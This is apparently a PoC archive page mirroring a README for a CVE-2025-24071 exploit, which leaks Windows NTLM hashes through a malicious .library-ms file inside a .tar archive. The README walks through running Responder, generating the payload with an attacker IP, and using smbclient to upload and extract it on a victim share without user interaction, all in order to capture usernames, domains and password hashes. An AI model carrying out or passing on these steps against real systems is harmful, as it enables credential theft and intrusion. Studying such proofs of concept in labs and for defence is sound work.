Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2025-24071 PoC — Microsoft Windows File Explorer Spoofing Vulnerability

Source
Associated Vulnerability
Title: Microsoft Windows File Explorer Spoofing Vulnerability (CVE-2025-24071)
Description:Exposure of sensitive information to an unauthorized actor in Windows File Explorer allows an unauthorized attacker to perform spoofing over a network.
Description
Exploited CVE-2025-24071 via SMB by hosting a .library-ms file inside a .tar archive. Using tar x from smbclient, the payload is extracted server-side without user interaction. Responder captures the NTLM hash once the target accesses the library.
Readme

# CVE-2025-24071 PoC (SMB + TAR Extraction Method)

This is a PoC for exploiting **CVE-2025-24071**, a vulnerability in Windows that allows NTLM hash leakage via `.library-ms` files. This version diverges slightly from others by using a `.tar` archive instead of a `.zip`, which improves compatibility in SMB-only environments.

## 📌 Why `.tar` instead of `.zip`?

Most public PoCs use `.zip` to package the malicious `.library-ms` file. However, if you're working in a restricted SMB environment (e.g., only access via `smbclient`), ZIP files can't be extracted remotely. By using a `.tar` archive, you can extract the payload directly from the SMB share using the `tar` command built into `smbclient`, allowing remote deployment **without needing user interaction**.

---

## 🔧 Requirements

- Attacker machine with:
  - `Responder` installed and running
  - An SMB server (e.g., `Responder`, `impacket-smbserver`, or `samba`)
- Victim machine:
  - Windows with SMB access enabled to the attacker's IP
---

## 🧪 Steps

### 1. Start Responder

Start Responder on the correct interface:

```bash
sudo responder -I <interface>
```

Make sure the IP in the payload matches this interface.

### 2. Generate the malicious .library-ms and pack into .tar

```bash
python3 create_tar_poc.py
```

You’ll be prompted to enter:

- A file name (e.g., exploit)
- The attacker's IP (e.g., 192.168.1.100)

This generates:

- exploit.library-ms (inside exploit.tar)
- exploit.tar

### 3. Upload and extract on the victim's SMB share

From your attacker machine, connect to the victim's SMB share using smbclient:


```bash
smbclient //<victim_ip>/<sharename> -U <USERNAME>
put exploit.tar
tar x exploit.tar
```
This will unpack the .library-ms into the share.

When the exploit.tar is extracted, the .library-ms file containing a malicious xml will connect to our SMB which is the active Responder on our machine, thus starting an authentication attempt using NTLM by sending a request containing the username, domain and the NTLM hash of the user's password, which we can later decrypt.

## 📽️ PoC Video

Coming soon...

## 🙏 Credits
Daniel Miranda Barcelona AKA Excal1bur | Based on the original work by 0x6rss, adapted for TAR-based SMB deployments in lab scenarios.



File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →